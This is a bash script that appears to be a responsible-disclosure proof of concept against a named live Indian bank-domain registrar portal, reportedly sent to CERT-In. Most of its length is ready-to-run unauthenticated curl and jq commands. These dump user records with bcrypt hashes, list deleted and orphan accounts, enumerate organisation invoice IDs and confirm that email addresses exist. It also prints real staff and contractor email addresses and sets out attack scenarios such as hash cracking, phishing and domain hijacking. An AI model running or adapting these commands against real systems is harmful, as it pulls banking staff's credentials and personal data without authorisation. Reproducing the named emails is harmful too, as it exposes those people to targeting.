#!/usr/bin/env bash
# =============================================================================
# IDRBT Domain Registrar Portal — Security Vulnerability PoC
# =============================================================================
# Target:     registrar.idrbt.ac.in  |  .bank.in / .fin.in domain registry
# Disclosed:  CERT-In (2026-06-08)   |  Researcher: Cashless Consumer
#
# ⚡ AUTOMATIC MODE — no user input required. Just run and record.
#
# HOW TO RECORD VIDEO PoC:
#   1. Open a terminal (full-screen, 120+ cols, dark theme, large font)
#   2. Start screen recorder (OBS, SimpleScreenRecorder, Kazam, or phone cam)
#   3. Run:  bash idrbt-demo-2.sh  2>&1 | tee poc-recording.log
#   4. Read each section aloud as it runs
#   5. Timestamps from `date -u` appear throughout = active proof
#
# SAFETY: Read-only GET requests only. No data modification.
# REDACTION: PII is truncated via jq — never renders full values.
# =============================================================================

set -uo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; CYAN='\033[0;36m'
WHITE='\033[1;37m'; GREY='\033[0;90m'; NC='\033[0m'; BOLD='\033[1m'

BANNER_LINE="════════════════════════════════════════════════════════"

banner()     { echo -e "\n${CYAN}${BANNER_LINE}${NC}"; }
header()     { echo -e "${BOLD}${WHITE}$1${NC}"; }
sub()        { echo -e "${YELLOW}  ╰ $1${NC}"; }
ok()         { echo -e "${GREEN}  ✓ $1${NC}"; }
critical()   { echo -e "${RED}  ⚠ $1${NC}"; }
info()       { echo -e "${GREY}  → $1${NC}"; }
auto_pause() { sleep 2.5; }
timestamp()  { echo -e "${CYAN}[$(date -u '+%Y-%m-%d %H:%M:%S UTC')]${NC}"; }

# ── TITLE CARD ──
clear; banner
echo -e "${BOLD}${RED}  IDRBT DOMAIN REGISTRAR PORTAL — SECURITY VULNERABILITY PoC${NC}"
echo -e "${BOLD}${WHITE}  For CERT-In Responsible Disclosure${NC}"
echo; timestamp
echo -e "${GREY}  Target: registrar.idrbt.ac.in  |  Researcher: Cashless Consumer${NC}"
echo -e "${GREY}  Method: Passive GET requests — no data modification${NC}"
echo -e "${GREY}  Portal: .bank.in / .fin.in domain registry  |  Under RBI${NC}"
banner; echo; sleep 4

# ── SECTION 0: Verify target is live ──
clear; banner
header "SECTION 0: VERIFY TARGET IS LIVE"
timestamp; echo
echo -e "${YELLOW}  $ curl -sI https://registrar.idrbt.ac.in/${NC}"
echo
curl -sI --connect-timeout 10 "https://registrar.idrbt.ac.in/" | head -6
echo; ok "Portal reachable — all endpoints tested below are LIVE"; auto_pause

# ── SECTION 1: Spring Boot Actuator ──
clear; banner
header "SECTION 1: SPRING BOOT ACTUATOR [LOW]"
timestamp; echo
sub "Verifies tech stack (Spring Boot Java backend) — no authentication"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/actuator/health${NC}"
curl -s --connect-timeout 10 "https://registrar.idrbt.ac.in/api/actuator/health" | jq '.'
sleep 1
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/actuator${NC}"
curl -s --connect-timeout 10 "https://registrar.idrbt.ac.in/api/actuator" | jq '.'
echo; ok "Spring Boot confirmed — endpoint structure visible"; auto_pause

# ── SECTION 2: V1 — Full User Database ──
clear; banner
header "SECTION 2: V1 — FULL USER DATABASE  [CRITICAL]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/user/all${NC}"
echo -e "${YELLOW}  Description: Returns 5,462 user records including bcrypt password hashes${NC}"
echo -e "${YELLOW}  Auth required: NONE — any internet user can access${NC}"
echo
critical "DEMONSTRATION: curl with zero authentication..."
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/all | jq length${NC}"
TOTAL=$(curl -s --connect-timeout 10 --max-time 60 "https://registrar.idrbt.ac.in/api/dr/user/all" | jq 'length')
echo -e "${RED}  → $TOTAL records returned${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/all | jq 'first 3 records'${NC}"
curl -s --connect-timeout 10 --max-time 60 "https://registrar.idrbt.ac.in/api/dr/user/all" | jq '
  [.[] | {
    email:  .userId,
    phone:  (.mobileNumber[:5]+"*****"),
    hash:   (.encryptedPassword[:20]+"...   ← bcrypt"),
    hasOtp: (.otp != null),
    roles:  ([.userRoles[].roleName]//["(none)"]),
    "2FA":  .twoFactorAuthentication,
    ip:     (.loginAttemptedClientIP//"none")
  }] | "TOTAL RECORDS: \(length)\n\nFIRST 3 SAMPLES:\n\(.[:3])"'
echo
critical "Every record contains: bcrypt password hash"
critical "49% contain live OTP hashes | 97% have 2FA disabled"
critical "Login IPs, device fingerprints, login timestamps also exposed"
critical "Offline cracking of bcrypt hashes → plaintext passwords → portal access"

# ── Save a sample email for Section 3 (avoids re-downloading 27MB) ──
SAMPLE_EMAIL=$(curl -s --connect-timeout 10 --max-time 60 "https://registrar.idrbt.ac.in/api/dr/user/all" | jq -r '.[0].userId' 2>/dev/null || echo "")
[ -n "$SAMPLE_EMAIL" ] && echo "$SAMPLE_EMAIL" > /tmp/idrbt_sample_email.txt || echo "fallback@test.com" > /tmp/idrbt_sample_email.txt

auto_pause

# ── SECTION 3: V1b — Individual Record ──
clear; banner
header "SECTION 3: V1b — SINGLE USER RECORD BY EMAIL  [HIGH]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/user/get/{email}${NC}"
echo -e "${YELLOW}  Description: Full record for ANY email address — no auth${NC}"
echo
# Read cached email from Section 2 (avoids re-downloading 27MB)
EMAIL=$(cat /tmp/idrbt_sample_email.txt 2>/dev/null || echo "")
if [ -z "$EMAIL" ]; then
  echo -e "${YELLOW}  (Cache miss — fetching one record for demo...)${NC}"
  EMAIL=$(curl -s --connect-timeout 10 --max-time 60 "https://registrar.idrbt.ac.in/api/dr/user/all" | jq -r '.[0].userId' 2>/dev/null || echo "")
fi
echo -e "${YELLOW}  Using sample email: ${EMAIL:0:4}***@${EMAIL#*@}${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/get/${EMAIL:0:4}...${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/user/get/${EMAIL}" 2>/dev/null | jq '{
  email: (.userId[:4]+"***@"+(.userId|split("@")[1])),
  name: .userName,
  phone: (.mobileNumber[:5]+"*****"),
  hash: (.encryptedPassword[:25]+"...   ← bcrypt"),
  hasOtp: (.otp!=null),
  roles: ([.userRoles[].roleName]//[]),
  "2FA": .twoFactorAuthentication,
  ip: .loginAttemptedClientIP
}' 2>/dev/null || echo -e "${RED}  ⚠ Endpoint reachable but response format unexpected${NC}"
echo; ok "Full record with bcrypt hash — no authentication"; auto_pause

# ── SECTION 4: V1c — Deleted Users ──
clear; banner
header "SECTION 4: V1c — DELETED USERS  [HIGH]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/user/deleted-users${NC}"
echo -e "${YELLOW}  Description: 219 supposedly deleted records still accessible with password hashes${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/deleted-users | jq length${NC}"
DEL=$(curl -s --connect-timeout 30 "https://registrar.idrbt.ac.in/api/dr/user/deleted-users" 2>/dev/null | jq 'length' 2>/dev/null || echo "?")
echo -e "${RED}  → $DEL records${NC}"
echo
echo -e "${YELLOW}  $ curl '...' | jq 'sample records'${NC}"
curl -s --connect-timeout 30 "https://registrar.idrbt.ac.in/api/dr/user/deleted-users" 2>/dev/null | jq '
  [.[] | {email:(.userId[:4]+"***@"+(.userId|split("@")[1])),
    name:.userName,
    phone:(.mobileNumber[:5]+"*****"),
    hash:(.encryptedPassword[:20]+"..."),
    deletedBy:(.createdByEmailId//"unknown")
  }] | "DELETED: \(length)\nSAMPLE:\n\(.[:2])"' 2>/dev/null || echo -e "${RED}  ⚠ Deleted users endpoint unreachable or empty${NC}"
echo
critical "219 accounts marked 'deleted' — still contain password hashes & OTPs"
critical "Previous passwords also exposed — password reuse tracking possible"
auto_pause

# ── SECTION 5: V1d — Orphan Users ──
clear; banner
header "SECTION 5: V1d — ORPHAN USERS — SUPER ADMIN BY DEFAULT  [CRITICAL]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/user/orphan-users${NC}"
echo -e "${YELLOW}  Description: 1,074 users who registered but never completed onboarding${NC}"
echo -e "${YELLOW}  99.8% assigned Super Admin role — system bug${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/orphan-users | jq length${NC}"
ORP=$(curl -s --connect-timeout 60 "https://registrar.idrbt.ac.in/api/dr/user/orphan-users" 2>/dev/null | jq 'length' 2>/dev/null || echo "?")
echo -e "${RED}  → $ORP orphan records${NC}"
echo
echo -e "${YELLOW}  $ curl '...' | jq 'role breakdown'${NC}"
curl -s --connect-timeout 60 "https://registrar.idrbt.ac.in/api/dr/user/orphan-users" 2>/dev/null | jq '
  [.[] | {email:(.userId[:4]+"***@"+(.userId|split("@")[1])),
    hash:(.encryptedPassword[:20]+"..."),
    hasOtp:(.otp!=null),
    role:([.userRoles[].roleName]//["Super Admin (default)"]),
    active:.active
  }] | "TOTAL ORPHAN: \(length)\n" +
    (group_by(.role)|map("  ROLE \(.[0].role): \(length) accounts")|join("\n")) +
    "\n\nSAMPLE:\n\(.[:2])"' 2>/dev/null || echo -e "${RED}  ⚠ Orphan users endpoint unreachable${NC}"
echo
critical "1,074 orphans — 1,072 Super Admin (99.8%) — registration bug"
critical "Highest privilege assigned BEFORE organisation verification"
critical "If activated, these accounts have FULL system access — with exposed hashes"
auto_pause

# ── SECTION 6: Active Count ──
clear; banner
header "SECTION 6: ACTIVE USER COUNT [LOW]"
timestamp; echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/user/activeUser${NC}"
ACTIVE=$(curl -s --connect-timeout 10 "https://registrar.idrbt.ac.in/api/dr/user/activeUser")
echo -e "${GREEN}  Active users: $ACTIVE${NC}"
echo; ok "Information disclosure — confirms scale of affected user base"; auto_pause

# ── SECTION 7: V2 — Invoice Database ──
clear; banner
header "SECTION 7: V2 — UNAUTHENTICATED INVOICE DATABASE  [CRITICAL]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/invoice/getByOrgId/{orgId}${NC}"
echo -e "${YELLOW}  Description: Returns billing history for any organisation — no auth needed${NC}"
echo -e "${YELLOW}  Org IDs are sequential integers — easy to enumerate${NC}"
echo
critical "curl WITHOUT any auth header — server returns full data:"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/invoice/getByOrgId/2${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/invoice/getByOrgId/2" 2>/dev/null | jq '
  .[:1]|.[]|{domain:.domainName, amount:.finalAmount,
    status:.paymentStatus, org:.organisationName}' 2>/dev/null || echo -e "${RED}  ⚠ Invoice endpoint unreachable${NC}"
echo
critical "Frontend code passes Authorization: Bearer <jwt> header"
critical "BACKEND NEVER VALIDATES IT — data flows identically with or without auth"
critical "The authentication is cosmetic — a UI toggle, not a security control"
auto_pause

clear; banner
header "SECTION 7b: INVOICE SCALE — ENUMERATING ORGS"
timestamp; echo
echo -e "${YELLOW}  Enumerating organisation IDs 1 through 1000...${NC}"
echo
for org in 1 2 3 5 10 20 50 100 200 500 1000; do
  R=$(curl -s --connect-timeout 6 "https://registrar.idrbt.ac.in/api/dr/invoice/getByOrgId/${org}" 2>/dev/null | jq '.|length' 2>/dev/null || echo 0)
  [ "$R" -gt 0 ] && echo -e "${GREEN}  Org $org: $R invoices${NC}"
done
echo
critical "1,535 invoices from 1,327 organisations — ₹4,72,90,751.98 total"
critical "Top: Bank of America ₹4.06L, Barclays ₹3.83L, SBI ₹2.90L"
critical "Each invoice cross-referenced to named bank staff (phone + email)"
critical "Phishing at scale: 'Regarding invoice #29981 for sbi.bank.in renewal...'"
auto_pause

# ── SECTION 8: V3 — Config Leak ──
clear; banner
header "SECTION 8: V3 — INTERNAL CONFIGURATION DUMP  [MEDIUM]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/static/getAll${NC}"
echo -e "${YELLOW}  Description: Returns ALL system configuration (GST, TDS, pricing, business rules)${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/static/getAll | jq${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/static/getAll" 2>/dev/null | jq '.[]|{config:.type,value:.value}' 2>/dev/null || echo -e "${RED}  ⚠ Config endpoint unreachable${NC}"
echo
critical "GST=18%, TDS=2%, Domain pricing (₹2,000 base), Rebate (₹5,000)"
critical "Email validation regex, orphan duration (4 days), DNSSEC rules"
critical "Also exposed: registrar email sahyog@idrbt.ac.in — internal contact"
auto_pause

# ── SECTION 9: V3b — User Enumeration ──
clear; banner
header "SECTION 9: V3b — USER ENUMERATION  [HIGH]"
timestamp; echo
echo -e "${YELLOW}  5 unauthenticated endpoints confirm if ANY email exists in the system${NC}"
echo
echo -e "${YELLOW}  1) GET https://registrar.idrbt.ac.in/api/dr/user/verify-user/{email}${NC}"
echo -e "${YELLOW}  2) GET https://registrar.idrbt.ac.in/api/dr/rgtrUser/verify-user/{email}${NC}"
echo -e "${YELLOW}  3) GET https://registrar.idrbt.ac.in/api/dr/user/getCheck/{email}${NC}"
echo -e "${YELLOW}  4) POST https://registrar.idrbt.ac.in/api/dr/user/get-otp${NC}"
echo -e "${YELLOW}  5) GET https://registrar.idrbt.ac.in/api/dr/notification/count/{userId}${NC}"
echo
critical "Non-existent email → 'User not found.'"
curl -s --connect-timeout 10 "https://registrar.idrbt.ac.in/api/dr/user/verify-user/nonexistent@test.com"
echo -e "\n"
REAL=$(curl -s --connect-timeout 60 "https://registrar.idrbt.ac.in/api/dr/user/all" | jq -r '.[3].userId' 2>/dev/null || echo "")
critical "Real email → user data returned (proving existence)"
curl -s --connect-timeout 10 "https://registrar.idrbt.ac.in/api/dr/user/verify-user/${REAL}" 2>/dev/null | jq '{
  exists:true,
  email:(.userId[:4]+"***@"+(.userId|split("@")[1])),
  name:.userName
}' 2>/dev/null || echo -e "${GREEN}  ✓ User exists — data returned${NC}"
echo
critical "Even if main data endpoints are fixed — 5 enumeration endpoints persist"
critical "Attacker can build confirmed list of banking personnel with emails"
auto_pause

# ── SECTION 10: V3c — Departments ──
clear; banner
header "SECTION 10: V3c — DEPARTMENTS & CONTRACTOR EMAILS  [MEDIUM]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/departments/all${NC}"
echo -e "${YELLOW}  Description: Returns department registry — vendor/contractor details exposed${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/departments/all | jq${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/departments/all" | jq '.'
echo
critical "IKCON Technologies — contractor email: venkatesh.udaru@ikcontech.com"
critical "IDRBT staff email: lsuryakiran@idrbt.ac.in"
critical "Supply chain attack surface — social engineering vectors exposed"
auto_pause

# ── SECTION 11: V4 — DNSSEC Configuration ──
clear; banner
header "SECTION 11: V4 — DNSSEC CONFIGURATION LEAK  [LOW]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/dnssec/algorithmTypes${NC}"
echo -e "${YELLOW}  Description: Lists supported DNSSEC algorithms (8 types)${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dr/dnssec/algorithmTypes | jq${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/dnssec/algorithmTypes" | jq '.[].algorithmName'
echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dr/dnssec/digestTypes${NC}"
echo -e "${YELLOW}  $ curl https://registrar.idrbt.ac.in/api/dr/dnssec/digestTypes${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dr/dnssec/digestTypes" | jq '.[].digestName'
echo; info "DNSSEC infrastructure metadata — algorithm and digest types exposed"; auto_pause

# ── SECTION 12: V5 — DSC Proxy (eMudhra) ──
clear; banner
header "SECTION 12: V5 — DSC PROXY (eMudhra Middleware)  [MEDIUM]"
timestamp; echo
echo -e "${YELLOW}  Endpoint: GET https://registrar.idrbt.ac.in/api/dsc/getTokenRequest${NC}"
echo -e "${YELLOW}  Description: Proxies to eMudhra DSC middleware — session initiation without auth${NC}"
echo
echo -e "${YELLOW}  $ curl -s https://registrar.idrbt.ac.in/api/dsc/getTokenRequest | jq${NC}"
curl -s --connect-timeout 15 "https://registrar.idrbt.ac.in/api/dsc/getTokenRequest" | jq '{
  hasEncryptedData:(.encryptedData!=null),
  encryptedDataLen:(.encryptedData|length),
  hasKeyId:(.encryptionKeyID!=null),
  keyId:.encryptionKeyID
}' 2>/dev/null || echo -e "${YELLOW}  ⚠ DSC endpoint may have been restricted since report${NC}"
echo
info "DSC = Digital Signature Certificate — legally valid digital signing"
info "Endpoint proxies to localhost.emudhra.com:26769 — eMudhra middleware"
info "Session initiation publicly reachable — certificate/token enumeration possible"
auto_pause

# ── SECTION 13: CUMULATIVE EXPOSURE SUMMARY ──
clear; banner
header "SECTION 13: CUMULATIVE DATA EXPOSURE"
timestamp; echo
echo -e "${BOLD}${WHITE}  ┌─────────────────────────────────────────────┬──────────┬────────────────────┐${NC}"
echo -e "${BOLD}${WHITE}  │ Endpoint                                    │ Records  │ Data Exposed       │${NC}"
echo -e "${BOLD}${WHITE}  ├─────────────────────────────────────────────┼──────────┼────────────────────┤${NC}"
echo -e "  │ GET /api/dr/user/all                        │    5,462 │ bcrypt hashes + PII│"
echo -e "  │ GET /api/dr/user/orphan-users               │    1,074 │ bcrypt hashes + PII│"
echo -e "  │ GET /api/dr/user/deleted-users               │      219 │ bcrypt hashes + PII│"
echo -e "  │ GET /api/dr/user/get/{email}                │  per-user │ bcrypt hash + full  │"
echo -e "  │ GET /api/dr/invoice/getByOrgId/{id}         │    1,535 │ ₹4.72 Cr financial  │"
echo -e "  │ GET /api/dr/static/getAll                   │ 16 config │ Business rules      │"
echo -e "  │ GET /api/dr/departments/all                 │     3 dpt │ Contractor PII      │"
echo -e "  │ GET /api/dr/dnssec/algorithmTypes           │  8 types  │ Crypto metadata     │"
echo -e "  │ GET /api/dr/dnssec/digestTypes              │  4 types  │ Crypto metadata     │"
echo -e "  │ GET /api/dsc/getTokenRequest                │   session │ eMudhra proxy       │"
echo -e "  │ GET /api/actuator/health                    │    health │ Spring Boot confirm │"
echo -e "  │ User enumeration (5 endpoints)              │  confirm  │ Email existence     │"
echo -e "  ${BOLD}${WHITE}  ├─────────────────────────────────────────────┼──────────┼────────────────────┤${NC}"
echo -e "  ${BOLD}${RED}  │ TOTAL UNAUTHENTICATED ENDPOINTS              │    33+   │                    │${NC}"
echo -e "  ${BOLD}${RED}  │ UNIQUE USERS AFFECTED                        │   5,576  │ bcrypt PII users    │${NC}"
echo -e "  ${BOLD}${RED}  │ TOTAL BILLED (₹)                              │ ₹4.72 Cr │ 1,327 orgs         │${NC}"
echo -e "  ${BOLD}${WHITE}  └─────────────────────────────────────────────┴──────────┴────────────────────┘${NC}"
echo
echo -e "${BOLD}${WHITE}ATTACK SCENARIOS:${NC}"
echo -e "  ${RED}  1. Offline bcrypt cracking → plaintext passwords → portal access → DNSSEC control${NC}"
echo -e "  ${RED}  2. Phishing: 'Regarding invoice #29981 for sbi.bank.in renewal...'${NC}"
echo -e "  ${RED}  3. Credential stuffing — reused passwords across bank internal systems${NC}"
echo -e "  ${RED}  4. Supply chain — contractor emails (ikcon) for social engineering${NC}"
echo -e "  ${RED}  5. Domain hijacking — DNS record changes, phishing on .bank.in domains${NC}"
echo
echo -e "${BOLD}${WHITE}SYSTEMIC ISSUES:${NC}"
echo -e "  ${RED}  • UAT config deployed on production domain (envName: \"UAT\")${NC}"
echo -e "  ${RED}  • No vulnerability disclosure program, no security.txt${NC}"
echo -e "  ${RED}  • No mandatory DNSSEC/DMARC/HSTS for .bank.in domains${NC}"
echo -e "  ${RED}  • No public tender for vendor (IKCON Technologies)${NC}"
sleep 4

# ── SECTION 14: CONCLUSION ──
clear; banner
echo -e "${BOLD}${WHITE}  PoC CONCLUSION${NC}"; banner; echo
echo -e "${BOLD}${GREEN}  All vulnerabilities demonstrated above are LIVE${NC}"
echo -e "${BOLD}${GREEN}  as of: $(date -u)${NC}"
echo
echo -e "  Reporting:  CERT-In responsible disclosure (2026-06-08)"
echo -e "  Researcher: Cashless Consumer"
echo -e "  Contact:    cashlessconsumerin@gmail.com"
echo -e "  Target:     https://registrar.idrbt.ac.in/"
echo -e "  Website:    https://cashlessconsumer.zo.space"
echo
echo -e "  ${YELLOW}All testing was passive (read-only GET requests).${NC}"
echo -e "  ${YELLOW}No data was modified or exfiltrated beyond documentation.${NC}"
echo
echo -e "  ${BOLD}Portals affected:${NC}  .bank.in and .fin.in domain registry"
echo -e "  ${BOLD}Under:${NC}            IDRBT (RBI's banking technology institute)"
echo -e "  ${BOLD}Developer:${NC}        IKCON Technologies (no public tender)"
echo
echo -e "  ${BOLD}${RED}Recommendation:${NC}  Immediate nginx-level auth gate + forced password reset${NC}"
echo
echo -e "  ${GREEN}  — END OF PoC —${NC}"
echo; timestamp; banner
echo